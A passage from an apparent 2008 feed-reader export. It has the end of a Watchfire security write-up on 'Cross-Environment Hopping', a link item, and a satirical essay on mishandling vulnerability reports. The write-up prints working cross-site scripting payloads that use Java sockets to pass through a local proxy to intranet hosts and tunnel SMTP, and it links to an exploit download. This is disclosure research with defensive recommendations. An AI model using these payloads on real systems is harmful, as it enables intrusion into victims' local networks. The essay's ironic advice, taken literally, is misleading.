"loaded"&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;       &lt;span&gt;if&lt;/span&gt; (xmlhttp.readyState==4)&lt;/pre&gt;&lt;pre&gt;       {&lt;/pre&gt;&lt;pre&gt;          alert(&lt;span&gt;'response:'&lt;/span&gt;+xmlhttp.responseText);&lt;/pre&gt;&lt;pre&gt;       }&lt;/pre&gt;&lt;pre&gt;    }&lt;/pre&gt;&lt;pre&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;  &lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Crossing Ports Using Socket Connections:&lt;/strong&gt; 
&lt;p&gt;Several client-side technologies are available, which allow the browser to initiate direct socket connections. For example, Java applets, Flash, and QuickTime all allow the opening of direct socket connections with the server of the same origin. Firefox has the unique distinction that direct socket connections are allowed using Java natively within JavaScript. 
&lt;p&gt;The following code will open a direct socket connection to the localhost on port 9999: 
&lt;div&gt;&lt;pre&gt;socket = &lt;span&gt;new&lt;/span&gt; java.net.Socket( &lt;span&gt;"localhost"&lt;/span&gt;, 9999 );&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Exploiting this ability, the attacker can send a request that hops from the local web server to any local server that the victim is running. 
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Theoretical Outcome&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;The potential exploitation of Cross-Environment Hopping could lead to many different outcomes. This write-up will consider only a few of the possibilities available to the malicious individual.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Cross Web Application Access:&lt;/strong&gt; 
&lt;p&gt;An attacker could use ActiveX (XMLHTTP) components to send HTTP requests to web applications running on different ports. As web applications running on other ports are unlikely to be related (on Localhost), this could lead to significant application compromise. Web applications running on Localhost are likely to contain sensitive information (e.g. Google Desktop). 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Public Share Enumeration:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;During this research, we have managed to create a working exploit that demonstrates how an attacker may enumerate any public shares on the local computer using the SMB protocol. You can download the exploit zip file in &lt;a href="http://blog.watchfire.com/Share_Enum_Example.zip"&gt;this link&lt;/a&gt;. (works only on Firefox)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Local Proxy Exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The most significant damage of all, is possible if the victim happens to be running a local proxy server. As the local proxy server is merely used to pass through network traffic, it might be possible to use the victim’s machine as a conduit for an attack against the local network. 
&lt;p&gt;There are numerous examples of commercial products that install an HTTP proxy on the Localhost. In our examples we installed AVAST Anti Virus (v4.7), which goes even further and allows proxying using the HTTP CONNECT method (The importance of HTTP CONNECT will be demonstrated in the section “Accessing Non-HTTP Services Using HTTP CONNECT Method”, below.) 
&lt;p&gt;The Cross-site Scripting payload below performs a GET request to &lt;a href="http://www.intranet.site/"&gt;www.intranet.site&lt;/a&gt; using Java socket connection in JavaScript on Firefox and exploits the proxy that is running on Localhost: (line wrapped) 
&lt;div&gt;&lt;pre&gt;&amp;lt;script&amp;gt;&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;var&lt;/span&gt; sock = &lt;span&gt;new&lt;/span&gt; java.net.Socket(&lt;span&gt;"localhost"&lt;/span&gt;, LOCAL_PROXY_PORT);&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;var&lt;/span&gt; write = &lt;span&gt;new&lt;/span&gt; java.io.DataOutputStream(&lt;span&gt;new&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;    java.io.BufferedOutputStream(sock.getOutputStream()));&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;var&lt;/span&gt; read = &lt;span&gt;new&lt;/span&gt; java.io.DataInputStream(sock.getInputStream());&lt;/pre&gt;&lt;pre&gt;    write.writeBytes&lt;/pre&gt;&lt;pre&gt;(&lt;span&gt;"GET http://www.intranet.site:80/ HTTP/1.0\r\n\r\n"&lt;/span&gt;);&lt;/pre&gt;&lt;pre&gt;    write.flush();&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;var&lt;/span&gt; buf1 = &lt;/pre&gt;&lt;pre&gt;java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);&lt;/pre&gt;&lt;pre&gt;    len = read.read(buf1);&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;var&lt;/span&gt; resp = &lt;span&gt;""&lt;/span&gt;;&lt;/pre&gt;&lt;pre&gt;    &lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;for&lt;/span&gt; (i=0;i&amp;lt;len;i++)&lt;/pre&gt;&lt;pre&gt;    {&lt;/pre&gt;&lt;pre&gt;        resp += String.fromCharCode(buf1[i])&lt;/pre&gt;&lt;pre&gt;    }&lt;/pre&gt;&lt;pre&gt;    &lt;/pre&gt;&lt;pre&gt;    alert(resp);&lt;/pre&gt;&lt;pre&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The malicious JavaScript code has full access to the HTTP response coming from a completely different domain. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Accessing Non-HTTP Services Using the HTTP CONNECT Method:&lt;/strong&gt; 
&lt;p&gt;Some proxy servers allow the tunneling of TCP protocols using the HTTP CONNECT method. The tunneling technique is used mostly for tunneling SSL traffic through proxies, but it can be used for tunneling all kinds of traffic. 
&lt;p&gt;A standard handshake for HTTP CONNECT tunneling between a client and a proxy might look like this: 
&lt;p&gt;&lt;strong&gt;Client HTTP Request:&lt;/strong&gt; 
&lt;p&gt;&lt;font face="Courier New" size="2"&gt;CONNECT www.some.site:1234 HTTP/1.0 [CRLF]&lt;br&gt;User-agent: Some-Client [CRLF]&lt;br&gt;[CRLF]&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Proxy Server HTTP Response:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face="Courier New" size="2"&gt;HTTP/1.0 200 Connection established [CRLF]&lt;br&gt;Proxy-agent: Some-Proxy/1.0[CRLF]&lt;br&gt;[CRLF] &lt;/font&gt;&lt;/p&gt;
&lt;p&gt;If the handshake was successful, the client is now free to communicate with &lt;a href="http://www.some.site/"&gt;www.some.site&lt;/a&gt; (using the service on port 1234), through the HTTP tunnel that was created. 
&lt;p&gt;The following Cross-site scripting example establishes a connection between the victim's computer and a remote SMTP server, using the SMTP protocol. Communication is tunneled through a locally installed proxy server that supports the HTTP CONNECT method, which avoids same-domain policy restrictions while enabling non-HTTP traffic:&lt;/p&gt;
&lt;div style="border-right:gray 1px solid;padding-right:4px;border-top:gray 1px solid;padding-left:4px;font-size:8pt;padding-bottom:4px;margin:20px 0px 10px;overflow:auto;border-left:gray 1px solid;width:97.5%;max-height:200px;line-height:12pt;padding-top:4px;border-bottom:gray 1px solid;background-color:#f4f4f4"&gt;
&lt;div style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;&amp;lt;script&amp;gt;&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; sock = &lt;span style="color:#0000ff"&gt;new&lt;/span&gt; java.net.Socket(&lt;span style="color:#006080"&gt;"localhost"&lt;/span&gt;, LOCAL_PROXY_PORT);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; write = &lt;span style="color:#0000ff"&gt;new&lt;/span&gt; java.io.DataOutputStream(&lt;span style="color:#0000ff"&gt;new&lt;/span&gt; java.io.BufferedOutputStream(sock.getOutputStream()));&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; read = &lt;span style="color:#0000ff"&gt;new&lt;/span&gt; java.io.DataInputStream(sock.getInputStream());&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; buf1 = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    write.writeBytes(&lt;span style="color:#006080"&gt;"CONNECT mailserver:25\r\n\r\n"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    alert(&lt;span style="color:#006080"&gt;"CONNECT sent"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    write.flush();&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    read.read(buf1);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    write.writeBytes(&lt;span style="color:#006080"&gt;"HELO mail\r\n"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    alert(&lt;span style="color:#006080"&gt;"HELO sent"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    write.flush();&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    len = read.read(buf1);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; resp = &lt;span style="color:#006080"&gt;""&lt;/span&gt;;&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;span style="color:#0000ff"&gt;for&lt;/span&gt; (i=0;i&amp;lt;len;i++)&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    {&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;        resp += String.fromCharCode(buf1[i])&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    }&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:white;border-bottom-style:none"&gt;    alert(resp);&lt;/pre&gt;&lt;pre style="padding-right:0px;padding-left:0px;font-size:8pt;padding-bottom:0px;margin:0em;overflow:visible;width:100%;color:black;border-top-style:none;line-height:12pt;padding-top:0px;border-right-style:none;border-left-style:none;background-color:#f4f4f4;border-bottom-style:none"&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&amp;gt;&amp;gt; &lt;strong&gt;Cross Environment Hopping vs. DNS Rebinding:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is worth mentioning that while the outcome of a CEH attack is somewhat similar to that of a DNS Rebinding attack, the techniques themselves are very different. While DNS Rebinding bypasses the same origin policy to achieve its goal, Cross-Environment Hopping works under the same origin policy restrictions, and does not violate them during the attack. 
&lt;p&gt;As the security industry is continuously trying to fight against DNS Rebinding (and partially succeed. see DNS Rebinding security updates in &lt;a href="http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html#goal_dns"&gt;Flash&lt;/a&gt; and &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-26-103078-1"&gt;Sun's JVM&lt;/a&gt;), CEH attacks are more relevant than ever.
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Recommendations:&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;For browser and plug-in software providers:&lt;/b&gt;&lt;br&gt;As presented in this write-up, communication between different ports in the context of Localhost can lead to devastating results. Therefore, we believe that crossing ports on the Localhost should be restricted and bound to explicit user consent. 
&lt;li&gt;&lt;b&gt;For the client:&lt;/b&gt;&lt;br&gt;The client should be very wary of installing software that runs a local web server. This write-up has shown that the restrictions in place on the local computer are not sufficient to prevent environment hopping from a vulnerable web application to other applications (not only web applications) that are running as a server. 
&lt;li&gt;&lt;b&gt;For web application developers:&lt;br&gt;&lt;/b&gt;Web application security is paramount when building web applications that run in the context of a local web server. This write-up has shown that a single, simple XSS vulnerability can be exploited to gain access not only to the local web application, but to other applications and programs that are running the local machine. The responsibility involved in building such applications should be considered carefully. 
&lt;li&gt;&lt;b&gt;For the anti-virus and local firewall software vendors&lt;br&gt;&lt;/b&gt;Anti-virus and local firewall software vendors should consider solutions that prevent socket and HTTP connections between web applications and different ports on the local computer.&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Conclusion:&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cross-Environment Hopping can lead to the compromise of many different applications and expose some operating system features. The technique is relevant to any machine that runs a local web server. 
&lt;p&gt;When a machine runs a web server on more than one port, it is possible to exploit a vulnerability in one web application that leads to the compromise of a web application running on a different port entirely. 
&lt;p&gt;When a web server is co-hosted with other server types, the potential for exposure is dramatically increased. A vulnerability in a local web application could serve as a hopping point to open direct socket connection and exploitation of the other servers.
&lt;p&gt;&lt;b&gt;&lt;i&gt;The research conducted so far is only a start, but highlights the dangerous potential of the technique.&lt;/i&gt;&lt;/b&gt;  &lt;p&gt;&lt;strong&gt;&lt;u&gt;Acknowledgements:&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;This research was performed by Yair Amit with additional help from Adi Sharabani, Danny Allan &amp;amp; Ory Segal. 
&lt;p&gt;  &lt;p&gt;  &lt;p&gt; &lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=YbcKhI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=YbcKhI" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=XHEbvI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=XHEbvI" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=GI7mUi"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=GI7mUi" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/317989841" height="1" width="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/321369139" height="1" width="1"/&gt;</content><author><name>Yair Amit</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/WatchfireApplicationSecurityInsider?format=xml"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/WatchfireApplicationSecurityInsider?format=xml</id><title type="html">Watchfire Application Security Insider</title><link rel="alternate" href="http://blog.watchfire.com/wfblog/" type="text/html" /></source><feedburner:origLink>http://blog.watchfire.com/wfblog/2008/06/cross-environ-1.html</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214555192652"><id gr:original-id="http://www.dotnetkicks.com/other/Full_text_An_epic_Bill_Gates_e_mail_rant">tag:google.com,2005:reader/item/52ef8ebedf21487d</id><title type="html">Full text: An epic Bill Gates e-mail rant</title><published>2008-06-26T22:16:05Z</published><updated>2008-06-26T22:16:05Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/321172057/Full_text_An_epic_Bill_Gates_e_mail_rant" type="text/html" /><summary xml:base="http://www.dotnetkicks.com/" type="html">Internal email from Bill Gates detailing his difficulties with Microsoft.com, Windows Update, and more. &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://www.dotnetkicks.com/kick/?url=http%3a%2f%2fblog.seattlepi.nwsource.com%2fmicrosoft%2farchives%2f141821.asp"&gt;&lt;img src="http://www.dotnetkicks.com/Services/Images/KickItImageGenerator.ashx?url=http%3a%2f%2fblog.seattlepi.nwsource.com%2fmicrosoft%2farchives%2f141821.asp" border="0" alt="kick it on DotNetKicks.com"&gt;&lt;/a&gt;&lt;div&gt;
&lt;a href="http://feeds.feedburner.com/~f/dotnetkicks?a=4NHvlI"&gt;&lt;img src="http://feeds.feedburner.com/~f/dotnetkicks?i=4NHvlI" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/dotnetkicks?a=sWbOQI"&gt;&lt;img src="http://feeds.feedburner.com/~f/dotnetkicks?i=sWbOQI" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/321172057" height="1" width="1"/&gt;</summary><author gr:unknown-author="true"><name>(author unknown)</name></author><source gr:stream-id="feed/http://www.dotnetkicks.com/feeds/rss"><id>tag:google.com,2005:reader/feed/http://www.dotnetkicks.com/feeds/rss</id><title type="html">DotNetKicks.com</title><link rel="alternate" href="http://www.dotnetkicks.com/" type="text/html" /></source><feedburner:origLink>http://www.dotnetkicks.com/other/Full_text_An_epic_Bill_Gates_e_mail_rant</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214554233913"><id gr:original-id="http://www.matasano.com/log/?p=1078">tag:google.com,2005:reader/item/a907e344d23b2ebf</id><category term="Disclosure" /><title type="html">How To Hide^H^H^Handle Security Problems in Your Products</title><published>2008-06-26T18:14:06Z</published><updated>2008-06-26T18:14:06Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/321172058/" type="text/html" /><content xml:base="http://www.matasano.com/log" type="html">&lt;p&gt;&lt;em&gt;Editor’s note: I wrote this over 10 years ago, after an aggressively
 bad experience reporting problems in Ascend routers. Everything in
 here has happened. The original URL for this essay broke long ago,
 and I felt like giving it a new home.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Anyone in the software industry knows that it’s much harder to build a
system than it is to tear them down (ignore what those tree-hugging
hippy cryptographers say; these are the same people who want you to
give your source code away for free!). So why is it that security bug
reports get so much more publicity than your press releases about new
product features? Probably because you’re mishandling bug reports!
Know what the pros know; don’t let security problems get out of
hand. The following 10 tips should help you contain and control
security problems.&lt;/p&gt;

&lt;p&gt;For examples of how real software companies employ these techniques in
their daily business, simply jump over to CNet’s NEWS.COM and search
for stories with the words “security” and “flaw” in them. See how
simple and effective these real-world strategies are. Remember: your
company pays for every letter of publicity it obtains. Don’t let
childish hackers get a free ride at your expense.&lt;/p&gt;

&lt;h3&gt;1. Deny Everything&lt;/h3&gt;

&lt;p&gt;Never, ever admit that there’s a problem. When you receive a bug
report, discredit the report. Did the report come from a competitor?
Bias! Slander! Remember: if 99 percent of your customers can’t
reproduce the problem, 99 percent of your customers won’t be able to
disprove you when you say the problem doesn’t exist. Remember handy
key phrases: “that’s not a bug, it’s a feature!” and “the product was
NEVER designed to handle that!”.&lt;/p&gt;

&lt;h3&gt;2. Keep It Secret&lt;/h3&gt;

&lt;p&gt;Bury the report. Inform the reporters that the problem will take
months to fix, or that the fix can’t be released until all your
products are sent back through regression testing. Remind them how
irresponsible it would be to announce a problem for which there is no
fix. Congratulate them for their cleverness and assure them there
there is no way any evil crackers will ever find the problem
themselves. If all else fails, bribe.&lt;/p&gt;

&lt;h3&gt;3. Forget The Report&lt;/h3&gt;

&lt;p&gt;Route the bug report to level-1 technical support. For best effect,
ensure that the support technician assigned to the problem speaks
minimal English. Delete the report from your bug tracking system. When
the reporters give up on you and announce publically, claim you never
heard about the problem, and inform the press and your customers that
the reporters are simply seeking publicity. Proceed directly to step
1.&lt;/p&gt;

&lt;h3&gt;4. Make Excuses&lt;/h3&gt;

&lt;p&gt;Blame the operating system. Make sure your customers realize that the
problem would never have occurred if Windows 95 popped up a modal
dialog asking users if they’d like to wipe their swap file and start a
new one every time a program exits. Blame the network. Make sure the
press knows that the problem will never, ever occur on “real”
networks, where only well-formed web traffic is passed through the
packet filters. Blame the reporter. Remember handy key statement:
“what was once an obscure problem is now a widely-known problem that
hackers can use”.&lt;/p&gt;

&lt;h3&gt;5. Downplay&lt;/h3&gt;

&lt;p&gt;Make sure your customers know every limitation of the security problem
being reported. If the bug lets attackers read any file, remind your
customers that attackers can’t use it to reformat hard drives. If the
attack is complicated, make sure your customers know that it would
take an evil genius to exploit the problem, and that it isn’t a
problem for anyone in the real world. If the press calls, be ready to
inform them that nobody is known to actually be exploiting the
problem, and thus the problem isn’t important.&lt;/p&gt;

&lt;h3&gt;6. Wait For Next Release&lt;/h3&gt;

&lt;p&gt;Frequent updates confuse customers. Loads of bug fixes give customers
the impression that your software is less reliable than you know it
really is. Don’t give your customers the wrong idea about your quality
assurance and testing practices… silently roll fixes into the next
release of the software. Added bonus: you can claim “significant
security enhancements” in the advertising for the next version!&lt;/p&gt;

&lt;h3&gt;7. Beta-Test The Fix&lt;/h3&gt;

&lt;p&gt;Bug fixes are much easier to produce when you take absolutely no
responsibility for problems caused by the patch. Easier means faster
(not to mention cheaper), and faster is always better when it comes to
security. Tell your customers that you’re acting in their best
interests by getting them a fix as quickly as possible, and that an
official version of the patch will be available soon (see step
6). Save valuable tech support resources by refusing to provide any
assistance for any aspect of your software to customers who have moved
to an unsupported, experimental configuration by installing your
security patch.&lt;/p&gt;

&lt;h3&gt;8. Patch The Exploit&lt;/h3&gt;

&lt;p&gt;Capitalize on free quality assurance work by waiting for the exploit
to be released instead of finding and reproducing the problem
yourself. Add “3” to every fixed constant in your source code. Rebuild
software. Try exploit. Repeat until exploit ceases to work. If this
fails to solve the problem, convert all strings in your source code to
Unicode. Rebuild software. Inform customers that you have resolved the
problem.&lt;/p&gt;

&lt;h3&gt;9. Shoot The Messenger&lt;/h3&gt;

&lt;p&gt;Anybody who would purposely look for security problems, or tell
someone about a security problem they found “accidentally” (yeah,
right), is clearly a dope-smuggling pedophile. Accuse reporter of
attempting to blackmail your company. From this point on, refer to bug
reporters as “hackers”, as in this statement to concerned customers:
“hackers like these will always be finding problems in software
products, and we will continue to quickly resolve these problems after
notifying the proper authorities.” Remember: the messenger is
expendable. The value of your stock options is not.&lt;/p&gt;

&lt;h3&gt;10. Threaten Lawsuit&lt;/h3&gt;

&lt;p&gt;Sneak clause forbidding reverse engineering of your products into your
license. Inform reporter that you believe there could be no way to
find security bugs in your software without violating the license. Too
late to modify license? Accuse reporter of libel, and claim hundreds
of thousands of dollars of damage to your company’s reputation if the
reporter lies to the public about nonexistant flaws in your
software. Remember: it is highly unlikely that anyone who finds bugs
in programs can afford to defend themself in court. Make sure the
